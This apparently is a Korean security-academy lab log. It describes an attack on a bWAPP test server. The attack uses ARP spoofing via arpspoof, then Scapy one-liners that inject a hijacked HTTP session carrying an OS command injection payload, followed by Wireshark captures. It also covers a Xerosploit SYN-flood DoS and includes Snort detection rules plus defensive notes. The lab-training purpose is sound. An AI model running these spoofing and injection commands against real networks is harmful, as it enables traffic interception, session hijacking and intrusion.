


우리 걸쓰~끼리 setlog를 낋여왔어염
다들 컷이 비슷비슷한게 꽤 재밌더라구요
다들 해보시길...ㅎㅎ
1. 보안 취약점 분석
1) 실습 개요
① 로컬 네트워크 내에서 ARP Spoofing을 통해 트래픽을 가로채고, 확보한 패킷 정보를 바탕으로 Scapy 라이브러리를 사용하여 OS Command Injection 공격을 수동으로 재현하는 과정
2) 중간자 공격(MITM) 및 트래픽 모니터링
① ARP Spoofing
i. sudo arpspoof -i eth0 -t [피해자 IP] [gateway IP]
ii. sudo arpspoof -i eth0 -t [gateway IP] [피해자 IP]
② ICMP 트래픽 확인
i. sudo tcpdump -i eth0 icmp
3) 패킷 상세 분석 데이터
① 피해자 PC에서 사이트 로그인 후 공격자 Wireshark를 통해 캡처된 정상적인 HTTP 요청 패킷에서 공격 구문 작성에 필요한 핵심 파라미터 추출
| 항목 | Wireshark 추출 데이터 | Scapy 코드 반영 | 비고 |
4) Scapy를 이용한 패킷 인젝션
① GET 방식 명령어 주입
| sudo python3 -c 'from scapy.all import *; \ send(IP(src="[내_IP]", dst="[서버_IP]") / \ TCP(sport=[내_출발_포트], dport=[서버_포트], flags="PA", seq=[최신_Seq], ack=[최신_Ack]) / \ "GET [공격_경로] HTTP/1.1\r\nHost: [서버_IP]:[서버_포트]\r\n\r\n")' |
② POST 방식 코드
| sudo python3 -c 'from scapy.all import *; \ payload = ("POST [공격_경로] HTTP/1.1\r\n" \ "Host: [서버_IP]:[서버_포트]\r\n" \ "Content-Type: application/x-www-form-urlencoded\r\n" \ "Content-Length: [바디_데이터_길이]\r\n" \ "Cookie: security_level=0; PHPSESSID=[내_현재_세션ID]\r\n\r\n" \ "target=127.0.0.1;[실행할_명령어]&form=submit\r\n\r\n"); \ send(IP(src="[내_IP]", dst="[서버_IP]") / \ TCP(sport=[내_출발_포트], dport=[서버_포트], flags="PA", seq=[최신_Seq], ack=[최신_Ack]) / \ payload)' |
5) 결과 확인
① Pfsense의 packet capture에서 로그 모아서 다운로드 해서 와이어 샤크에서 필터링 해보기

② GET 결과
| Frame 1005: 120 bytes on wire (960 bits), 120 bytes captured (960 bits) Encapsulation type: Ethernet (1) Arrival Time: Apr 28, 2026 10:41:17.119794000 대한민국 표준시 UTC Arrival Time: Apr 28, 2026 01:41:17.119794000 UTC Epoch Arrival Time: 1777340477.119794000 [Time shift for this packet: 0.000000000 seconds] [Time delta from previous captured frame: 0.515350000 seconds] [Time delta from previous displayed frame: 3.146759000 seconds] [Time since reference or first frame: 5.097784000 seconds] Frame Number: 1005 Frame Length: 120 bytes (960 bits) Capture Length: 120 bytes (960 bits) [Frame is marked: False] [Frame is ignored: False] [Protocols in frame: eth:ethertype:ip:tcp] [Coloring Rule Name: Bad TCP] [Coloring Rule String: tcp.analysis.flags && !tcp.analysis.window_update && !tcp.analysis.keep_alive && !tcp.analysis.keep_alive_ack] Ethernet II, Src: Dasan_70:11:2d (00:d0:cb:70:11:2d), Dst: VMware_60:ab:44 (00:0c:29:60:ab:44) Destination: VMware_60:ab:44 (00:0c:29:60:ab:44) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Source: Dasan_70:11:2d (00:d0:cb:70:11:2d) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Type: IPv4 (0x0800) [Stream index: 1] Internet Protocol Version 4, Src: 1.233.148.83, Dst: 220.88.200.193 0100 .... = Version: 4 .... 0101 = Header Length: 20 bytes (5) Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT) 0000 00.. = Differentiated Services Codepoint: Default (0) .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0) Total Length: 106 Identification: 0x0001 (1) 000. .... = Flags: 0x0 0... .... = Reserved bit: Not set .0.. .... = Don't fragment: Not set ..0. .... = More fragments: Not set ...0 0000 0000 0000 = Fragment Offset: 0 Time to Live: 51 Protocol: TCP (6) Header Checksum: 0x4c37 [validation disabled] [Header checksum status: Unverified] Source Address: 1.233.148.83 Destination Address: 220.88.200.193 [Stream index: 1] Transmission Control Protocol, Src Port: 61354, Dst Port: 8080, Seq: 1, Ack: 1, Len: 66 Source Port: 61354 Destination Port: 8080 [Stream index: 3] [Stream Packet Number: 2] [Conversation completeness: Incomplete (8)] ..0. .... = RST: Absent ...0 .... = FIN: Absent .... 1... = Data: Present .... .0.. = ACK: Absent .... ..0. = SYN-ACK: Absent .... ...0 = SYN: Absent [Completeness Flags: ··D···] [TCP Segment Len: 66] Sequence Number: 1 (relative sequence number) Sequence Number (raw): 4257010969 [Next Sequence Number: 67 (relative sequence number)] Acknowledgment Number: 1 (relative ack number) Acknowledgment number (raw): 2290218266 0101 .... = Header Length: 20 bytes (5) Flags: 0x018 (PSH, ACK) 000. .... .... = Reserved: Not set ...0 .... .... = Accurate ECN: Not set .... 0... .... = Congestion Window Reduced: Not set .... .0.. .... = ECN-Echo: Not set .... ..0. .... = Urgent: Not set .... ...1 .... = Acknowledgment: Set .... .... 1... = Push: Set .... .... .0.. = Reset: Not set .... .... ..0. = Syn: Not set .... .... ...0 = Fin: Not set [TCP Flags: ·······AP···] Window: 8192 [Calculated window size: 8192] [Window size scaling factor: -1 (unknown)] Checksum: 0x00c1 [unverified] [Checksum Status: Unverified] Urgent Pointer: 0 [Timestamps] [Time since first frame in this TCP stream: 3.146759000 seconds] [Time since previous frame in this TCP stream: 3.146759000 seconds] [SEQ/ACK analysis] [Bytes in flight: 242] [Bytes sent since last PSH flag: 66] [TCP Analysis Flags] [Expert Info (Note/Sequence): This frame is a (suspected) retransmission] [This frame is a (suspected) retransmission] [Severity level: Note] [Group: Sequence] [The RTO for this segment was: 3.146759000 seconds] [RTO based on delta from frame: 968] TCP payload (66 bytes) Retransmitted TCP segment data (66 bytes) |
③ POST 결과
| Frame 968: 296 bytes on wire (2368 bits), 296 bytes captured (2368 bits) Encapsulation type: Ethernet (1) Arrival Time: Apr 28, 2026 10:41:13.973035000 대한민국 표준시 UTC Arrival Time: Apr 28, 2026 01:41:13.973035000 UTC Epoch Arrival Time: 1777340473.973035000 [Time shift for this packet: 0.000000000 seconds] [Time delta from previous captured frame: 0.605887000 seconds] [Time delta from previous displayed frame: 0.000000000 seconds] [Time since reference or first frame: 1.951025000 seconds] Frame Number: 968 Frame Length: 296 bytes (2368 bits) Capture Length: 296 bytes (2368 bits) [Frame is marked: False] [Frame is ignored: False] [Protocols in frame: eth:ethertype:ip:tcp] [Coloring Rule Name: TCP] [Coloring Rule String: tcp] Ethernet II, Src: Dasan_70:11:2d (00:d0:cb:70:11:2d), Dst: VMware_60:ab:44 (00:0c:29:60:ab:44) Destination: VMware_60:ab:44 (00:0c:29:60:ab:44) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Source: Dasan_70:11:2d (00:d0:cb:70:11:2d) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Type: IPv4 (0x0800) [Stream index: 1] Internet Protocol Version 4, Src: 1.233.148.83, Dst: 220.88.200.193 0100 .... = Version: 4 .... 0101 = Header Length: 20 bytes (5) Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT) 0000 00.. = Differentiated Services Codepoint: Default (0) .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0) Total Length: 282 Identification: 0x0001 (1) 000. .... = Flags: 0x0 0... .... = Reserved bit: Not set .0.. .... = Don't fragment: Not set ..0. .... = More fragments: Not set ...0 0000 0000 0000 = Fragment Offset: 0 Time to Live: 51 Protocol: TCP (6) Header Checksum: 0x4b87 [validation disabled] [Header checksum status: Unverified] Source Address: 1.233.148.83 Destination Address: 220.88.200.193 [Stream index: 1] Transmission Control Protocol, Src Port: 61354, Dst Port: 8080, Seq: 1, Ack: 1, Len: 242 Source Port: 61354 Destination Port: 8080 [Stream index: 3] [Stream Packet Number: 1] [Conversation completeness: Incomplete (8)] ..0. .... = RST: Absent ...0 .... = FIN: Absent .... 1... = Data: Present .... .0.. = ACK: Absent .... ..0. = SYN-ACK: Absent .... ...0 = SYN: Absent [Completeness Flags: ··D···] [TCP Segment Len: 242] Sequence Number: 1 (relative sequence number) Sequence Number (raw): 4257010969 [Next Sequence Number: 243 (relative sequence number)] Acknowledgment Number: 1 (relative ack number) Acknowledgment number (raw): 2290218266 0101 .... = Header Length: 20 bytes (5) Flags: 0x018 (PSH, ACK) 000. .... .... = Reserved: Not set ...0 .... .... = Accurate ECN: Not set .... 0... .... = Congestion Window Reduced: Not set .... .0.. .... = ECN-Echo: Not set .... ..0. .... = Urgent: Not set .... ...1 .... = Acknowledgment: Set .... .... 1... = Push: Set .... .... .0.. = Reset: Not set .... .... ..0. = Syn: Not set .... .... ...0 = Fin: Not set [TCP Flags: ·······AP···] Window: 8192 [Calculated window size: 8192] [Window size scaling factor: -1 (unknown)] Checksum: 0x997a [unverified] [Checksum Status: Unverified] Urgent Pointer: 0 [Timestamps] [Time since first frame in this TCP stream: 0.000000000 seconds] [Time since previous frame in this TCP stream: 0.000000000 seconds] [SEQ/ACK analysis] [Bytes in flight: 242] [Bytes sent since last PSH flag: 242] TCP payload (242 bytes) TCP segment data (242 bytes) |
6) Snort Rule
① 비정상적인 TCP 세션 데이터 주입 탐지
| alert tcp any any -> 220.88.200.193 8080 ( msg:"TCP Session Hijacking Attempt Detected"; flow:to_server,established,no_stream; flags:AP; threshold:type limit, track by_src, count 1, seconds 60; sid:2000001; rev:1; ) |
② 동일 Sequence Number 반복 유입 (재전송 공격) 탐지
| alert tcp any any -> 220.88.200.193 8080 ( msg:"Possible TCP Session Hijacking - Sequence Number Reuse"; flow:to_server; seq:4257010969; classtype:attempted-admin; sid:2000002; rev:1; ) |
7) 개인적인 의문
① 공격자 칼리가 피해자PC에 arp spoofing해서 피해자가 http://220.88.200.193:8080/bWAPP/에 로그인 하면 칼리가 와이어샤크로 패킷 탈취해서 세션 하이재킹 하는건데 http://220.88.200.193:8080/bWAPP/서버의 pfsense snort에 걸릴 수 있는가?
② Snort에 걸리게 되는 3가지 관점
i. TCP 세션의 비정상적 흐름
- 재전송 의심
- 세션 가로채기 탐지
ii. 특정 공격 구문 탐지
- 명령어 주입
- 비정상적인 파라미터
iii. 통계적 변조 및 임계치
- Rate Limiting
③ pfSense Snort에서 방어 확률을 높이려면?
i. Strict HTTP Inspection
- Snort 설정에서 HTTP 검사를 엄격하게 설정하면, 비정상적인 헤더나 세션 정보를 가진 패킷을 잘 골라냄
ii. ARP Spoofing 방어 (정적 ARP)
- 사실 이 공격의 시작인 ARP Spoofing은 서버가 아닌 스위치(L2)나 pfSense의 ARP Table 설정에서 막아야 함
- IP와 MAC 주소를 고정(Static)하면 공격자가 중간에 끼어들 수 없음
iii. HTTPS(SSL/TLS) 사용
- 가장 근본적인 해결책
- bWAPP이 HTTPS로 돌아가고 있다면, 공격자가 패킷을 가로채도 내용이 암호화되어 있어 Seq 번호나 Cookie를 알아내기 매우 어려움
- 하지만 우리는 실습 중이기 때문에 이건 X
2. DOS
1) 실습 개요
① 공격 도구
i. Xerosploit
- Scapy 기반 패킷 생성 도구
② 공격 유형
i. TCP SYN Flood + Malformed Packet Payload Attack
③ 대상 서비스
i. FTP (21번 포트)
④ 목적
i. 비정상적인 TCP 패킷을 대량 발생시켜 대상 서버의 프로토콜 처리 자원 고갈 및 서비스 마비 유도
2) 패킷 상세 분석 (Frame 1870 중심)
| 분석 항목 | 데이터 내용 | 보안상 의미 (비정상 유무) |
3) 공격 메커니즘 분석
① Protocol Violation
i. 정상적인 3-Way Handshake 절차를 무시하고, SYN 패킷에 대량의 데이터(Payload)를 실어 보냄으로써 서버가 패킷을 해석하고 상태를 유지하는 데 과도한 자원을 소모하게 함
② Resource Exhaustion
i. 서버는 비정상적인 Ack 번호와 데이터를 포함한 SYN 패킷을 처리하기 위해 TCP 스택에서 예외 처리를 반복하게 되며, 이 과정에서 CPU 사용량이 급증하고 서비스 응답이 불가능해짐
4) Snort Rule
| # SYN 패킷에 데이터(dsize)가 포함된 비정상 흐름 차단 alert tcp any any -> $HOME_NET 21 ( msg:"DOS Attack Detected - Malformed SYN with Payload (Xerosploit)"; flow:to_server; flags:S; dsize:>0; threshold:type threshold, track by_src, count 10, seconds 1; classtype:attempted-dos; sid:3000001; rev:1; ) |
'시큐리티아카데미 7기 - sk쉴더스트랙 > 프로젝트' 카테고리의 다른 글
| [시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 14일차 - 2026.04.30 (1) | 2026.05.04 |
|---|---|
| [시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 13일차 - 2026.04.29 (0) | 2026.05.04 |
| [시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 11일차 - 2026.04.27 (0) | 2026.04.28 |
| [시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 10일차 - 2026.04.22 (0) | 2026.04.24 |
| [시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 9일차 - 2026.04.21 (0) | 2026.04.21 |